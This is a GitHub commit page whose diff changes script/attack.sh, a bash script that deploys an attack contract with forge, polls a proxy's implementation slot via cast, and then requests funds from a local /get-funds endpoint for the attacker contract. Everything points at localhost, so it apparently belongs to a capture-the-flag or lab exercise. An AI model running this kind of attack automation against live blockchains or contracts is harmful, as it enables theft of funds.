Skip to content

Commit ee3addb

Browse files
committed
fix: makes the attack script more reliable
1 parent 66ffd4e commit ee3addb

File tree

1 file changed

+4
-1
lines changed

1 file changed

+4
-1
lines changed

script/attack.sh

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,16 @@
11

22
forge script --chain sepolia --rpc-url http://127.0.0.1:8080/rpc --broadcast -vvvv script/DeployAttack.s.sol
33
target_active="0x000000000000000000000000e5ed47bcc12028b9be183a80b8821119e9397ef7"
4+
attacker_contract=$(cat broadcast/DeployAttack.s.sol/31337/run-latest.json | jq '.transactions[0].contractAddress' | tr -d '"')
5+
echo "attacking with $attacker_contract"
46
while [ 1 -eq 1 ]
57
do
68
current_active=$(cast call 0xe6cc6358e23fcb274c0e0696d6f9635bd9f223b1 "getImplementation1599d()" --rpc-url http://localhost:8080/rpc)
79
echo "Currently Active:$current_active"
810
if [ "$current_active" == "$target_active" ]; then
911
echo "Attacking"
10-
curl http://localhost:8080/get-funds -H "Content-Type: application/json" -d '{"address":"0x360B0B52025095275702d094Fce7C0d6087E3676"}'
12+
sleep 5
13+
curl http://localhost:8080/get-funds -H "Content-Type: application/json" -d "{\"address\":\"$attacker_contract\"}"
1114
exit 0
1215
else
1316
echo "Not Attacking"

0 commit comments

Comments
 (0)